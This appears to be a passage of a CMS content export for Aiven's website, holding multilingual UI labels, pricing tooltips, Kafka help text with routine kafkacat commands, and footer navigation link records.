{"_createdAt":"2023-05-22T09:20:35Z","_id":"e72c81f2-ab0a-4dd5-a46c-2f31f0e4c008","_rev":"Sutmd0597BicUlBXYJkL20","_type":"field","_updatedAt":"2023-05-22T09:20:35Z","name":"kpfCalcTitleStep3","value":{"_type":"localeString","en":"Total estimated storage","ja":"ストレージの推定総量"}} {"_createdAt":"2024-03-11T11:14:33Z","_id":"e8554a52-aff4-471d-90fc-67a903033d8a","_rev":"3FGtLQfVRJNnLVm3pVQK3f","_type":"field","_updatedAt":"2024-03-11T11:14:33Z","name":"labelCollection","value":{"_type":"localeString","en":"Collections"}} {"_createdAt":"2023-03-17T13:20:25Z","_id":"ed17870a-f50a-4d79-a275-fda085461f64","_rev":"xiZWRCvY8mGrbEYNJlWmFl","_type":"field","_updatedAt":"2023-03-24T14:11:52Z","name":"contactDisclaimer","value":{"_type":"localeString","en":"Data retention is only limited by storage. For information about annual discount or plan capacity beyond the listed plans, please [contact us](/contact)","ja":"データの保持は、ストレージによってのみ制限されます。年間割引や記載されているプラン以外のキャパシティについては、[お問合せ](/ja/contact)ください。"}} {"_createdAt":"2023-09-20T14:07:34Z","_id":"f031c497-1c6e-4529-990c-a753b7f0f128","_rev":"kaQ4ZWos4gq6sBfd7u0dtX","_type":"field","_updatedAt":"2023-09-21T13:10:08Z","name":"awsTgwTooltip","value":{"_type":"localeString","en":"${price}/hour based on transit usage","ja":"トランジット利用に応じて1時間あたり${price}"}} {"_createdAt":"2023-12-21T07:51:45Z","_id":"f66df399-29d5-4a7d-858d-da081b0001fb","_rev":"sg5cBJWkRHo7pkcz4RDNqL","_type":"field","_updatedAt":"2023-12-21T07:51:45Z","name":"pricingCalculatorText","value":{"_type":"localeString","en":"Need help? Use our [Pricing Calculator](/pricing/calculator?product={productId}) to get a recommended plan based on your unique data needs and requirements.","ja":"お困りですか。利用価格計算([Pricing Calculator](/pricing/calculator?product={productId}))ツールを使用して、お客様独自のデータニーズと要件に基づいた推奨プランを確認できます。"}} {"_createdAt":"2023-05-22T09:04:14Z","_id":"f782c159-584d-4146-baa3-e3df2d171a1f","_rev":"IpnbDuG6FYGmZQ2TBNJ5l5","_type":"field","_updatedAt":"2023-05-22T11:09:34Z","name":"kpfAverageMessageSizeDesc","value":{"_type":"localeString","en":"Kafka Messages are typically small in size but the variation can be large.\nIn order to find out the average message size, you can count the number of \nmessages in a topic and calculate the size of the topic.\n\nCount messages in a topic\n`kafkacat -b \u003cBroker\u003e:\u003cPort\u003e-C -t \u003cTopic\u003e -e -q | wc -l`\n\nCalculate topic size \n`/bin/kafka-log-dirs.sh --describe --bootstrap-server`\n`\u003cBroker\u003e:\u003cPort\u003e ∞ --topic-list \u003cTopic\u003e\u003c/Topic\u003e`","ja":"Kafkaメッセージは一般的にサイズが小さいのですがが、大きく変動することもあります。\n平均的なメッセージサイズを調べるために、トピック内のメッセージ数をカウントし、\nトピックのサイズを計算することができます。\n\nトピック内のメッセージをカウントする\n`kafkacat -b \u003cBroker\u003e:\u003cPort\u003e-C -t \u003cTopic\u003e -e -q | wc -l`\n\nトピックのサイズを計算する \n`/bin/kafka-log-dirs.sh --describe --bootstrap-server`\n`\u003cBroker\u003e:\u003cPort\u003e ∞ --topic-list \u003cTopic\u003e\u003c/Topic\u003e`"}} {"_createdAt":"2022-11-09T11:37:03Z","_id":"f32f5b71-2dc6-4af1-9483-2c6dbe833644","_rev":"aJQte7Rd1SiavAM6QxBSXY","_type":"field","_updatedAt":"2022-12-19T13:46:17Z","name":"logsAivenLine1","value":{"_type":"localeString","en":"Logs management for","ja":"Aivenサービスの"}} {"_createdAt":"2023-01-26T11:22:26Z","_id":"f83a0a3e-218c-4dba-985e-88cfaf4aa3e4","_rev":"6wJ6OxF1mPB2I3zefue4XX","_type":"field","_updatedAt":"2023-01-26T11:22:26Z","name":"changeTypes","value":{"_type":"localeString","en":"Types"}} {"_createdAt":"2022-08-16T09:40:15Z","_id":"f8ad8ad7-cb80-402f-96c3-59814388bc08","_rev":"HosDT9snWCxUYvGzNZqlnt","_type":"field","_updatedAt":"2022-08-16T09:40:15Z","name":"pressRoom","value":{"_type":"localeString","en":"Press room"}} {"_createdAt":"2022-11-09T08:54:30Z","_id":"fcb0035f-7f5e-43dc-b514-a17638acd81f","_rev":"tCTpYSXtZaN94JPflBCb1i","_type":"field","_updatedAt":"2022-11-09T08:54:30Z","name":"dashboards","value":{"_type":"localeString","en":"Dashboards"}} {"_createdAt":"2024-05-10T10:47:57Z","_id":"ed8b9841-67f6-4c07-b900-1cba00772988","_rev":"h4ancfFTuSnQNBSq3G3WNA","_type":"field","_updatedAt":"2024-11-18T12:23:04Z","name":"downloadReport","value":{"_type":"localeString","de":"Bericht herunterladen","en":"Download report","fr":"Télécharger le rapport"}} {"_createdAt":"2024-06-27T14:40:08Z","_id":"d2c78cf6-3911-461a-a4cc-e1c5c17a6ee2","_rev":"qobFP6o3d5Cfo6v5hpWOQx","_type":"field","_updatedAt":"2024-09-19T13:07:20Z","name":"caseStudy","value":{"_type":"localeString","de":"Fallstudie","en":"Case study","fr":"Étude de cas"}} {"_createdAt":"2023-07-12T06:08:28Z","_id":"aa165973-458e-4c58-a8bd-dc95190d421a","_rev":"0TXqTylVMKaoTR0MBsPnjI","_type":"field","_updatedAt":"2024-11-15T09:24:28Z","name":"aboutTheCompany","value":{"_type":"localeString","de":"Über das Unternehmen","en":"About the company","fr":"À propos de l’entreprise"}} {"_createdAt":"2023-05-25T15:38:33Z","_id":"7ceccbd5-cb93-4f04-8eb0-8fef2abbae0b","_rev":"0TXqTylVMKaoTR0MBsPUHs","_type":"field","_updatedAt":"2024-11-15T09:21:00Z","name":"navCustomer","value":{"_type":"localeString","de":"Kunden im Fokus","en":"Customer spotlight","fr":"Lumière sur nos clients"}} {"_createdAt":"2023-07-11T09:27:15Z","_id":"a56a3a75-fb7c-43c9-888b-5002a81f8a34","_rev":"0TXqTylVMKaoTR0MBsPrky","_type":"field","_updatedAt":"2024-11-15T09:25:33Z","name":"products","value":{"_type":"localeString","de":"Produkte","en":"Products","fr":"Produits"}} {"_createdAt":"2023-05-25T15:38:49Z","_id":"3764fd4a-3cc6-436c-81a7-18135e5ffd88","_rev":"sEwq5NBiPauorOxrhf5lR2","_type":"field","_updatedAt":"2024-11-18T12:23:34Z","name":"navCaseStudies","value":{"_type":"localeString","de":"Erfolgsgeschichten","en":"Case studies","fr":"Études de cas"}} {"_createdAt":"2022-09-05T09:22:17Z","_id":"975b1e1d-296f-4779-8d34-e77c5a94f148","_rev":"0nsIYuNmri4WLONet0ruTv","_type":"field","_updatedAt":"2024-11-15T09:24:58Z","name":"industry","value":{"_type":"localeString","de":"Branche","en":"Industry","fr":"Secteur"}} {"_createdAt":"2022-09-05T09:31:01Z","_id":"e2758504-57a9-48c1-8f83-42a0033705d9","_rev":"wPAP0KLLUYMrNcRuIFAcdP","_type":"field","_updatedAt":"2024-11-15T09:30:26Z","name":"getStartedTodayText","value":{"_type":"localeString","de":"Aiven macht das Einrichten von Cloud-Datenbanken so einfach, dass es jeder tun kann. Unsere „Einmal einrichten und vergessen“-Lösungen nehmen den Aufwand aus der Cloud-Dateninfrastruktur.","en":"Aiven makes setting up cloud databases so simple anyone can do it. Our set-it-and-forget-it solutions take the pain out of cloud data infrastructure.","fr":"Aiven rend la configuration des bases de données cloud si simple que tout le monde peut le faire. Nos solutions « configurez et oubliez » éliminent la complexité de l’infrastructure de données cloud."}} {"_createdAt":"2022-11-10T09:12:22Z","_id":"e2f8d8d0-f500-49ec-897b-d4a15c884f8c","_rev":"0nsIYuNmri4WLONet0sf8P","_type":"field","_updatedAt":"2024-11-15T09:34:49Z","name":"English","value":{"_type":"localeString","de":"Englisch","en":"English","fr":"Anglais"}} {"_createdAt":"2022-09-05T09:23:13Z","_id":"b0e68a09-6075-4898-a6ed-aa182361f21f","_rev":"0TXqTylVMKaoTR0MBsQFTA","_type":"field","_updatedAt":"2024-11-15T09:30:55Z","name":"getStartedToday","value":{"_type":"localeString","de":"Bringen Sie Ihren ersten Cluster jetzt online","en":"Get your first cluster online now","fr":"Mettez votre premier cluster en ligne dès maintenant"}} {"_createdAt":"2023-03-17T13:40:02Z","_id":"4be1d6ce-916d-43fb-bd88-63489169ca6a","_rev":"0TXqTylVMKaoTR0MBsQIyK","_type":"field","_updatedAt":"2024-11-15T09:31:37Z","name":"ctaSignup","value":{"_type":"localeString","de":"Kostenlos starten","en":"Get started for free","fr":"Commencez gratuitement","ja":"無料で始める"}} {"_createdAt":"2022-11-10T09:12:36Z","_id":"3fb22aea-9f0a-492b-8fa0-6c7042d527ba","_rev":"wPAP0KLLUYMrNcRuIFBT02","_type":"field","_updatedAt":"2024-11-15T09:34:25Z","name":"German","value":{"_type":"localeString","de":"Deutsch","en":"German","fr":"Allemand"}} {"_createdAt":"2022-11-10T09:12:58Z","_id":"f15ce423-0df2-4567-a2fe-2b13d46271d1","_rev":"0nsIYuNmri4WLONet0shgU","_type":"field","_updatedAt":"2024-11-15T09:35:11Z","name":"French","value":{"_type":"localeString","de":"Französisch","en":"French","fr":"Français"}} {"_createdAt":"2024-11-12T13:52:32Z","_id":"8632d5ff-2010-4184-8ebf-ff5453341221","_rev":"j14GNyKgkSja9ilYITVEgz","_type":"field","_updatedAt":"2024-11-12T13:52:32Z","name":"skipNav","value":{"_type":"localeString","de":"Zum Inhalt springen","en":"Skip to content","fr":"Aller au contenu"}} {"_createdAt":"2022-07-25T12:14:46Z","_id":"7f490099-647e-4759-8caf-63788152edc9","_rev":"Tpe1Rj6o9fDmGqbWvuVKII","_type":"field","_updatedAt":"2024-10-21T09:19:40Z","name":"hostProviderTitle","value":{"_type":"localeString","de":"Einsetzen am","en":"Deploy on","fr":"Déployer sur","ja":"ホスト"}} {"_createdAt":"2024-10-07T14:48:57Z","_id":"8ad54905-0ff3-430c-acc1-47d9d33da5dd","_rev":"wPAP0KLLUYMrNcRuIFBCnO","_type":"field","_updatedAt":"2024-11-15T09:33:11Z","name":"footerAboutAivenText","value":{"_type":"localeString","de":"Aiven ist eine Daten- und KI-Plattform, die offene Services kombiniert, um Daten schnell zu streamen, zu speichern und bereitzustellen – einfach und sicher über die großen Cloud-Anbieter hinweg.","en":"Aiven is a data and AI platform that combines open-choice services to rapidly stream, store and serve data across major cloud providers — simply and securely.","fr":"Aiven est une plateforme de données et d’IA qui combine des services ouverts pour diffuser, stocker et fournir rapidement des données sur les principaux fournisseurs de cloud – simplement et en toute sécurité."}} {"__i18n_lang":"en","_createdAt":"2022-06-21T22:41:50Z","_id":"08f5166e-6478-407f-ba7a-87d4db002764","_rev":"eOGTVivSz2oqfsen7M8Ir8","_type":"field","_updatedAt":"2024-10-25T12:08:18Z","name":"footerText","value":{"_type":"localeString","de":"Apache, Apache Kafka, Kafka, Apache Flink, Flink, Apache Cassandra, and Cassandra are either registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. ClickHouse is a registered trademark of ClickHouse, Inc. https://clickhouse.com. M3, M3 Aggregator, OpenSearch, AlloyDB Omni, PostgreSQL, MySQL, InfluxDB, Grafana, Dragonfly, Valkey, Thanos, Terraform, and Kubernetes are trademarks and property of their respective owners. *Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven. All product and service names used in this website are for identification purposes only and do not imply endorsement.","en":"Apache, Apache Kafka, Kafka, Apache Flink, Flink, Apache Cassandra, and Cassandra are either registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. ClickHouse is a registered trademark of ClickHouse, Inc. https://clickhouse.com. M3, M3 Aggregator, OpenSearch, AlloyDB Omni, PostgreSQL, MySQL, InfluxDB, Grafana, Dragonfly, Valkey, Thanos, Terraform, and Kubernetes are trademarks and property of their respective owners. *Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven. All product and service names used in this website are for identification purposes only and do not imply endorsement.","fr":"Apache, Apache Kafka, Kafka, Apache Flink, Flink, Apache Cassandra, and Cassandra are either registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. ClickHouse is a registered trademark of ClickHouse, Inc. https://clickhouse.com. M3, M3 Aggregator, OpenSearch, AlloyDB Omni, PostgreSQL, MySQL, InfluxDB, Grafana, Dragonfly, Valkey, Thanos, Terraform, and Kubernetes are trademarks and property of their respective owners. *Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven. All product and service names used in this website are for identification purposes only and do not imply endorsement.","ja":"Apache, Apache Kafka, Kafka, Apache Flink, Flink, Apache Cassandra, and Cassandra are either registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. ClickHouse is a registered trademark of ClickHouse, Inc. https://clickhouse.com. M3, M3 Aggregator, M3 Coordinator, OpenSearch, PostgreSQL, MySQL, Grafana, Terraform, and Kubernetes are trademarks and property of their respective owners. *Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven. All product and service names used in this website are for identification purposes only and do not imply endorsement."}} {"_createdAt":"2022-09-28T13:48:12Z","_id":"273f628b-b5b6-4242-8541-abf6a15347d1","_rev":"T130WEs22RB6SoEkOEZA6Y","_type":"field","_updatedAt":"2024-11-20T08:18:56Z","name":"login","value":{"_type":"localeString","en":"Log in","ja":"ログイン"}} {"_createdAt":"2024-10-01T13:27:36Z","_id":"0611d85a-b179-458c-9335-06fc4b7d04a8","_rev":"8q08tYxGNL2qfrtMKRl6qQ","_type":"field","_updatedAt":"2024-10-01T13:27:36Z","name":"earlyAvailability","value":{"_type":"localeString","en":"Early availability"}} {"_createdAt":"2022-09-29T09:47:11Z","_id":"9d6628a6-b696-4484-9f99-34bef25fc257","_rev":"U360V83F77Z1JcZt4RmeTG","_type":"field","_updatedAt":"2024-11-05T14:15:42Z","name":"newsletterTitle","value":{"_type":"localeString","en":"Stay updated with Aiven"}} {"_createdAt":"2022-09-29T09:47:25Z","_id":"09afe632-3beb-4bab-a61f-ccf185d2ac49","_rev":"4qiJ1B4HOcJb1a1kk2kH1e","_type":"field","_updatedAt":"2024-11-05T14:16:10Z","name":"subscribeText","value":{"_type":"localeString","en":"Stay updated with Aiven"}} {"_createdAt":"2022-11-24T16:43:51Z","_id":"b16ab0c4-d188-4766-9f68-ea4b000a98f8","_rev":"U360V83F77Z1JcZt4RmlVB","_type":"field","_updatedAt":"2024-11-05T14:17:33Z","name":"newsletterText","value":{"_type":"localeString","en":"Subscribe for the latest news and insights on open source, Aiven offerings, and more."}} {"_createdAt":"2022-09-05T09:22:29Z","_id":"673dc766-4105-4288-86b4-27e27acb633f","_rev":"0h6e4MYEG0xbOjLBGDoztS","_type":"field","_updatedAt":"2024-11-27T12:48:57Z","name":"yearFounded","value":{"_type":"localeString","de":"Gründungsjahr","en":"Year founded","fr":"Année de fondation"}} {"_createdAt":"2023-07-11T09:16:59Z","_id":"ef0fad0b-a6ca-4735-8e77-20c73ce3b998","_rev":"ZhxRwgWPklJwoe04lgUZXw","_type":"field","_updatedAt":"2024-11-27T13:03:54Z","name":"product","value":{"_type":"localeString","de":"Produkte","en":"Product","fr":"Produits"}} {"_createdAt":"2022-09-05T09:24:15Z","_id":"bf5e2476-a165-4b13-80dd-cb8c1f708a48","_rev":"0TXqTylVMKaoTR0MBsPzds","_type":"field","_updatedAt":"2024-11-15T09:27:35Z","name":"bookADemo","value":{"_type":"localeString","de":"Demo vereinbaren","en":"Book a demo","fr":"Réserver une démo"}} {"_createdAt":"2022-11-09T11:38:31Z","_id":"0532c128-76cf-43a3-894d-c4912879ce36","_rev":"on5KSabgAN0raW406YEd2N","_type":"field","_updatedAt":"2024-02-08T16:55:36Z","name":"flink","value":{"_type":"localeString","en":"Real-time analytics and ETL","ja":"リアルタイムデータ洞察"}} {"_createdAt":"2023-02-03T13:33:06Z","_id":"3593f9e6-979c-469f-a74d-fc042f45a16e","_rev":"VeNKqGNmt13PzvGhqos8uo","_type":"field","_updatedAt":"2024-01-26T08:45:20Z","name":"ebook","value":{"_type":"localeString","en":"E-book"}} {"_createdAt":"2023-02-03T13:33:17Z","_id":"de16c814-1edb-4aad-b702-dcb580ec6bc6","_rev":"AhQsd13Ciq0lSu1FlpblTJ","_type":"field","_updatedAt":"2024-02-26T11:56:47Z","name":"report","value":{"_type":"localeString","de":"Bericht","en":"Report","fr":"Rapport","ja":"レポート"}} {"_createdAt":"2022-10-05T08:53:32Z","_id":"2c4089d3-ab76-4cb7-947e-e43592e8ba92","_rev":"PjhTiFLESFHgz5EjCAZv0Y","_type":"field","_updatedAt":"2024-03-20T06:50:05Z","name":"openSourceServices","value":{"_type":"localeString","en":"Services","ja":"サービス"}} {"_createdAt":"2023-06-05T12:06:56Z","_id":"bbd4f9fe-2118-44df-a41f-cdec7d85ec06","_rev":"0nsIYuNmri4WLONet0sG17","_type":"field","_updatedAt":"2024-11-15T09:29:17Z","name":"ctaReadCaseStudy","value":{"_type":"localeString","de":"Erfolgsgeschichte lesen","en":"Read the case study","fr":"Lire l’étude de cas"}} {"_createdAt":"2023-09-14T12:48:11Z","_id":"ee217b18-96f0-4fe7-902b-9b49a9315e43","_rev":"E3l20vRSvwhCawbkeOb5pk","_type":"field","_updatedAt":"2023-09-15T11:05:35Z","name":"thankyouHeadline","value":{"_type":"localeString","en":"Thank you for your interest. We’ve received your information and will be in touch shortly."}} {"_createdAt":"2023-10-09T13:03:20Z","_id":"4e5d8fd2-2356-4736-a248-a191e45bb71e","_rev":"QJtWNkOOU8d8F4outeHrB6","_type":"field","_updatedAt":"2024-08-27T11:22:39Z","name":"kafkaTieredStorageTooltip","value":{"_type":"localeString","en":"Starting from ${price} per GB/hour","ja":"1GB/月あたり${price}〜"}} {"_createdAt":"2024-11-20T10:50:58Z","_id":"f5348af1-c12a-49bd-bcb7-874feeccf2fe","_rev":"TQRi7Ygk8azl4RfWD23ssV","_type":"field","_updatedAt":"2024-11-20T10:50:58Z","name":"topic","value":{"_type":"localeString","en":"Topic"}} {"_createdAt":"2024-11-28T11:51:48Z","_id":"9773597d-4879-4f5a-8f40-6d5d5d4dd4c7","_rev":"2x59rT6aRKXNelne0itOZ6","_type":"field","_updatedAt":"2024-11-28T11:51:48Z","name":"errorTooManyRequestsTitle","value":{"_type":"localeString","en":"Too many requests"}} {"_createdAt":"2024-11-28T11:52:13Z","_id":"122da210-1dd5-4088-8314-6525497faae5","_rev":"ZhxRwgWPklJwoe04logqJ4","_type":"field","_updatedAt":"2024-11-28T11:52:13Z","name":"errorTooManyRequestsSubtitle","value":{"_type":"localeString","en":"Too many requests, please try again later."}} {"__i18n_lang":"ja","_createdAt":"2022-06-03T12:30:17Z","_id":"8fa73b6a-b62a-467a-8f5e-fa8dbf37a913__i18n_ja","_rev":"Z39vf97kTT8utJKfKYufGb","_type":"footer","_updatedAt":"2023-01-11T23:05:39Z","id":"company","links":[{"_key":"9aaaaf74c9b4","_type":"link","internalLink":{"_ref":"c79a4329-7549-48d7-90d2-617da8070ffd__i18n_ja","_type":"reference"},"title":"Aivenについて"}],"order":5,"title":"企業情報"} {"__i18n_lang":"ja","_createdAt":"2022-08-25T12:26:12Z","_id":"60aba555-c31d-4ed8-9c66-bc67c162acbe__i18n_ja","_rev":"wZSzbSM833LJeYC8qSQe9b","_type":"footer","_updatedAt":"2023-06-05T08:27:07Z","id":"platform","links":[{"_key":"6017de0e3904c2c438998862af825db5","_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"},{"_key":"832ce5a6da75","_type":"link","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"},"title":"統合およびコネクタ"},{"_key":"d2b56a2bae64","_type":"link","internalLink":{"_ref":"ca729b10-22a0-4d28-8492-c0b69e88b2ce__i18n_ja","_type":"reference"},"title":"DevOpsツール"},{"_key":"89301c4a104d","_type":"link","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"},"title":"セキュリティとコンプライアンス"},{"_key":"dd9d1c7cac1a","_type":"link","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7__i18n_ja","_type":"reference"},"title":"サポートサービス"},{"_key":"66d0b92f3bbf","_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21__i18n_ja","_type":"reference"},"title":"価格体系"}],"order":1,"title":"プラットフォーム"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"8fa73b6a-b62a-467a-8f5e-fa8dbf37a913__i18n_de","_type":"reference"},{"_key":"fr","_ref":"8fa73b6a-b62a-467a-8f5e-fa8dbf37a913__i18n_fr","_type":"reference"},{"_key":"ja","_ref":"8fa73b6a-b62a-467a-8f5e-fa8dbf37a913__i18n_ja","_type":"reference"}],"_createdAt":"2022-06-03T12:30:17Z","_id":"8fa73b6a-b62a-467a-8f5e-fa8dbf37a913","_rev":"T130WEs22RB6SoEkOEXgAy","_type":"footer","_updatedAt":"2024-11-20T08:04:03Z","id":"company","links":[{"_key":"9aaaaf74c9b4","_type":"link","internalLink":{"_ref":"c79a4329-7549-48d7-90d2-617da8070ffd","_type":"reference"},"title":"About"},{"_key":"802a009b976c","_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},{"_key":"ee891e1cb5dc","_type":"link","internalLink":{"_ref":"9ec37216-4c4e-4430-8abe-e15365bc9d55","_type":"reference"},"title":"Careers"},{"_key":"3e8def23f6ce","_type":"link","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"},"title":"Open source"},{"_key":"1a6d9ef744a0ec6de128641c623d2194","_type":"link","internalLink":{"_ref":"5c8b6345-6c17-4a8c-8ff1-fa2e51c3764a","_type":"reference"},"title":"Sustainability"},{"_key":"883c820817d1","_type":"link","internalLink":{"_ref":"668f580e-9996-4c28-8fbe-1c6151081584","_type":"reference"},"title":"Press"},{"_key":"f2b146716597","_type":"link","internalLink":{"_ref":"3b5806cc-b4b0-494c-b509-3c3e45527296","_type":"reference"},"title":"Aiven invoicing addresses"}],"order":5,"title":"Company"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"71a0dfc1-2d45-4a36-9b93-4303bb56b716__i18n_de","_type":"reference"},{"_key":"fr","_ref":"71a0dfc1-2d45-4a36-9b93-4303bb56b716__i18n_fr","_type":"reference"}],"_createdAt":"2022-08-25T12:28:47Z","_id":"71a0dfc1-2d45-4a36-9b93-4303bb56b716","_rev":"sEwq5NBiPauorOxrhma5xi","_type":"footer","_updatedAt":"2024-11-20T08:04:18Z","id":"contacts","links":[{"_key":"8f47cdfeb034","_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},{"_key":"efebd89dfc0d","_type":"link","internalLink":{"_ref":"2e367534-9fbc-41ac-9806-5e832dedf3ba","_type":"reference"},"title":"Subscribe to newsletter"}],"order":6,"title":"Let's connect"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"f9717fc1-2625-4905-abe5-04a090e91eee__i18n_de","_type":"reference"},{"_key":"fr","_ref":"f9717fc1-2625-4905-abe5-04a090e91eee__i18n_fr","_type":"reference"},{"_key":"ja","_ref":"f9717fc1-2625-4905-abe5-04a090e91eee__i18n_ja","_type":"reference"}],"_createdAt":"2022-06-02T11:18:03Z","_id":"f9717fc1-2625-4905-abe5-04a090e91eee","_rev":"sEwq5NBiPauorOxrhmZzlq","_type":"footer","_updatedAt":"2024-11-20T08:03:47Z","id":"services","links":[{"_key":"e57e6a0890ae","_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Aiven for Apache Kafka®"},{"_key":"9c51e90df199","_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"},"title":"Aiven for Apache Kafka® Connect"},{"_key":"eade93a13a49","_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Aiven for Apache Flink®"},{"_key":"0fcabdc9a7946cbe5d7905a7abc9fedd","_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_type":"reference"},"title":"Aiven for AlloyDB Omni"},{"_key":"f8ebe60247b0","_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"},"title":"Aiven for PostgreSQL®"},{"_key":"98f0b3b593e3","_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"},"title":"Aiven for MySQL®"},{"_key":"e58d5e37e8f7ba44bc6b643f64bbe0c8","_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"},"title":"Aiven for Valkey™"},{"_key":"5a3e8bd136b722d3a1c93afd07bdae7a","_type":"link","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"},"title":"Aiven for Dragonfly"},{"_key":"8046f6bdf667","_type":"link","internalLink":{"_ref":"d1d507e1-9f11-4bc7-818f-bd9702a10553","_type":"reference"},"title":"Aiven for Caching"},{"_key":"ed5fae51175e","_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"},"title":"Aiven for ClickHouse®"},{"_key":"96551e32f9f5","_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch®"},{"_key":"346de87c52b81d984b9da08d968afe75","_type":"link","internalLink":{"_ref":"af7d02c4-3523-4a21-a721-2cd5fb32a0f4","_type":"reference"},"title":"Aiven for Metrics"},{"_key":"9ea48aea946881bef9393c8437f1392e","_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"},"title":"Aiven for Grafana®"}],"order":2,"title":"Services"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"60aba555-c31d-4ed8-9c66-bc67c162acbe__i18n_de","_type":"reference"},{"_key":"fr","_ref":"60aba555-c31d-4ed8-9c66-bc67c162acbe__i18n_fr","_type":"reference"},{"_key":"ja","_ref":"60aba555-c31d-4ed8-9c66-bc67c162acbe__i18n_ja","_type":"reference"}],"_createdAt":"2022-08-25T12:26:12Z","_id":"60aba555-c31d-4ed8-9c66-bc67c162acbe","_rev":"sEwq5NBiPauorOxrhmZtnP","_type":"footer","_updatedAt":"2024-11-20T08:03:15Z","id":"platform","links":[{"_key":"f0d4b887749b5783a7ad2747201ddf21","_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"},{"_key":"66d0b92f3bbf","_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"Pricing"},{"_key":"f0bf8b8217418050d21e04750c73d77f","_type":"link","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"},"title":"Bring Your Own Cloud (BYOC)"},{"_key":"832ce5a6da75","_type":"link","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"},"title":"Integrations and connectors"},{"_key":"89301c4a104d","_type":"link","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"},"title":"Security and compliance"},{"_key":"dd9d1c7cac1a","_type":"link","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7","_type":"reference"},"title":"Support"},{"_key":"d2b56a2bae64","_type":"link","internalLink":{"_ref":"814b2c0a-94d5-4b79-a17f-1a1d5f54f10a","_type":"reference"},"title":"Changelog"},{"_key":"1ab83853e879","_type":"link","externalUrl":"https://ideas.aiven.io/","title":"Product ideas and roadmap"},{"_key":"7793d73cf559","_type":"link","externalUrl":"https://status.aiven.io/","title":"Incident status update"},{"_key":"baac87217db0","_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"}],"order":1,"title":"Platform"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"d772d3ee-5598-4538-86ed-d19adc7327d6__i18n_de","_type":"reference"},{"_key":"fr","_ref":"d772d3ee-5598-4538-86ed-d19adc7327d6__i18n_fr","_type":"reference"}],"_createdAt":"2022-06-03T08:37:52Z","_id":"d772d3ee-5598-4538-86ed-d19adc7327d6","_rev":"T130WEs22RB6SoEkOEXkKy","_type":"footer","_updatedAt":"2024-11-20T08:04:45Z","id":"solutions","links":[{"_key":"86420d1b1c85","_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"},{"_key":"8a3ffa3ec374","_type":"link","internalLink":{"_ref":"04b8d980-f8cb-40c6-a6cb-54a2a9607e5a","_type":"reference"},"title":"Customer spotlight"},{"_key":"cfc5b541dd2a","_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"Case 